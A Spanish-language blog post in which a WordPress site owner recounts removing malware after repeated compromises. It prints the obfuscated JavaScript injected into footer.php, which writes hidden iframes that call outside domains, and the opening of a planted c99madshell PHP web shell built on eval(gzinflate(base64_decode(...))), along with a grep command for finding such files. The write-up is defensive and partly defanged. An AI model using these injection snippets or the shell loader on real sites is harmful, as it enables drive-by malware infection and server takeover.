WordPress: Limpiar tu sitio luego de haber sido atacado

Bueno, como deben recordar, hace no más de una semana que fuimos atacados varias veces. Afortunadamente no perdimos información y esperamos que nadie haya sufrido por algún troyano por culpa de ese maldito iframe que estaba metido en la web.

En fin, el problema era el siguiente; cada cierto tiempo aparecía al final de la etiqueta body un script de javascript que camuflaba la creación de un iframe, el código en la primera ocasión era (lo deformé para que no resulte en la efectiva creación de un iframe):

Este artículo es bastante largo (como solía hacerlo) así que si no quieres leer todo y quieres ir directamente a lo importante, pues haz click aquí.

<5cr1pt language=JavaScript>document.//**write(unescape('%3ciframe %77idt%68=1height=1%20bo%72de%72=0 fram%65borde%72%3d0'+'s%72c=%27http:%2f'+'%2fj'+'e%6eni%66ergr%61'+'m%69g.com%2fstd/%67o.php?%73i%64=1%27%3e%3c/ifra%6de%3e'))

Si uno presta atención al código, en realidad verá que además no estar tan oculto el atributo de width y height a uno (1), lo que logrará será que en el renderizado habitual de la página sea invisible, claro que mirando el código fuente de la página es bastante claro. Incluso aunque ‘no se vea’, ejecutará a través del iframe cierto archivo php en la web que almacena el código malicioso.

Para que quede más claro, esto se traduce a html en tiempo de ejecución a:

<1fr4me width=1 height=1 border=0 frameborder=0 src="xttp://jenn1fergram1g.com/std/go.php?sid=1" mce_src="http://jennifergramig.com/std/go.php?sid=1"</1fr4me>

El segundo y tercer ataque fueron prácticamente iguales y seguían el mismo patrón:

<5cr1pt language=JavaScript&gt;document.//**write(unescape('%3cif%72ame%77i%64t%68=1%20height='+'%31 %62order'+'=0 f%72%61m%65b%6frder=0 %73r%63=%27%68ttp%3a//ed%77ardal%74w%69es%2ecom/s%74d/go'+'.ph%70?sid=1%27%3e3c/i%66'+'rame%3e'))

<5cr1pt language=JavaScript&gt;document.//**write(unescape('%3csc%72ipt languag%65=%4a%61vaS%63rip%74%3edo%63ument.wr%69%74%65(un%65%73cape(%27%253%632569%256'+'6r%61mew'+'idth=%253%31 h%25%365ig%27%2b%27ht=1%252025%362%256%66rd%65r=%30fram%2565b%6f%2572d%27+%27%65r=%2530 %2572%63=%2527ht%74p:/%25%32fke%72%69%256%34%256%39%25%361nge%25'+'6%63i73%2ec%6fm%252%66%2576%2538%252findex%2e%70hp%252725%33e%253c%27%2b%27%25%32f%69f%72%256%31m%25%36%35%253e%27))%3c/sc%72%69p%74%3e'))

En las tres ocasiones este código estaba justo sobre el cierre de la etiqueta body (), por lo que supuse que estaba en el archivo que genera esa parte del código: footer.php. Bueno, como era de esperarse ahí estaba el código, lo eliminé y luego borraba el caché y asunto solucionado hasta que volvía a ocurrir. Sin contar por supuesto que cada vez cambié todas las claves.

Hasta acá, podemos sacar que al menos este tipo de ataques se valen de javascript y específicamente de la función document.write(unescape()), por lo que no estaría mal que cada cierto tiempo buscaras por líneas sospechosas como aquella.

Si es que acaso quieren decodificar ese código sin cargarlo en su html por supuesto, hay varias aplicaciones web dando vuelta por internet, esta al menos, funciona bastante bien.

La solución definitiva

Era obvio que si bien solucionaba el problema parcialmente algo estaba pasando que se repetía continuamente. Dado que el archivo se modificaba supuse que quizá la gente de Dreamhost sabría algo (lo otro que pensaba hacer era mirar los logs de apache, pero nunca alcancé :P). Como nunca, se tardaron un día en responder y me dijeron que habían algunos archivos infectados.

Durante todo ese tiempo, estuve investigando y resulta que es muy común que al igual que en javascript utilizando la función unescape, en php utilizan base64_decode. El asunto ahora era:

¿Cómo busco en todos mis archivos del servidor por esa cadena?

Parecía una tarea titánica hasta que recordé el comando grep que utilizo prácticamente todos los días.

Para poder realizar esto en tu servidor necesitas tener acceso ssh, me parece que no basta con acceso ftp.

La utilización básica de grep es:

grep [OPTION]... PATTERN [ARCHIVO]...

Como pretendo buscar en todos los archivos de mi usuario, lo primero que tengo que hacer es utilizar el parámetro para que la búsqueda sea recursiva (-R), como soy alaraco me gusta poder reconocer claramente los archivos así que le pongo color (--color=auto), inicialmente quiero listar los archivos y que no muestre todo el contenido (-l), además, no quiero correr el riesgo que no detecte algún archivo por alguna diferencia de capitalización (mayúsculas y minúsculas) por lo que agrego la última opción para evitarlo (-i). Luego de toda la serie de opciones, sólo bastaría poner la cadena en cuestión; base64_decode y el lugar (./, dado que quiero partir desde el directorio actual, poner /home/user o el directorio que quieras es igualmente válido.

Finalmente el comando quedaría:

grep -R --color=auto -l -i "base64_decode" ./

Además del par de archivos de archivos que incluía wordpress con esa cadena, aparecieron dos archivos bastante curiosos (pero notablemente bien camuflados), uno en el tema por defecto de wordpress (Kubrick) llamado rtl.php y el otro en un viejo tema que ya no utilizo llamado conf.php. Ambos archivos muy similares comenzaban así:

[php]
<?PHP
//Authentication
$login = ""; //Login
$pass = ""; //Pass
$md5_pass = ""; //If no pass then hash
eval(gzinflate(base64_decode(‘HJ3HkqNQEkU/ZzqCBd4t8V4YA……. […]’)));
[/php]

El resto era una línea larguísima con un montón de caracteres alfanúmericos totalmente incomprensibles. Gracias a este script y esta pequeña aplicación web pude decodificar este extraño script que terminó siendo c99madshell, una verdadera navaja suiza del hackeo:

He ahí la herramienta montada en mi servidor local

Si quieren saber más sobre la herramienta les sugiero que revisen la espectacular revisión que hizo Derek Fountain o una traducción ahí no más por acá, por alguien que ni siquiera le dió el crédito, pero bueno, eso es harina de otro costal.

El ataque

Bueno, el ataque consistió básicamente en subir el archivo php (c99madshell) al servidor y desde ahí, bueno, era libre de hacer lo que quisiera con el blog, borrar archivos, cambiar claves de ftp, sql, etc. Lo que aún no sé, ni entiendo es cómo lo logró. Supuestamente sería por versiones desactualizadas del sistema (viejos exploits), pero siempre he estado utilizando la última versión de todo el software que tengo en el servidor. Lo otro que muchas veces hacen es subir el script a través de algún sistema que lo permita, por ejemplo, subir un avatar en algún foro. Lo raro, nuevamente, es que todo lo que hay en el server, al menos en mi usuario no se cuenta con ello.

Luego de subido el archivo, el resto es pan comido, basta direccionar el navegador a la dirección donde lo subiste, igual que como se accedería a cualquier url, pero te encontrarías con algo como lo la foto de más arriba.

Aún no me he dado el tiempo de analizar bien ese tema, pero si alguna vez logro comprender como es que ese shell llegó ahí, pues les contaré ;).

En resumen…

Alguien o un bot de alguna forma que aún no logro dilucidar subió un script php, específicamente c99madshell, al servidor y de ahí se dedicó a modificar el archivo footer.php del tema con un javascript que ocultaba un iframe que cargaba algún virus.

Eso sería por ahora, espero que les haya servido de algo :).

Foto:

5 thoughts on “WordPress: Limpiar tu sitio luego de haber sido atacado

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s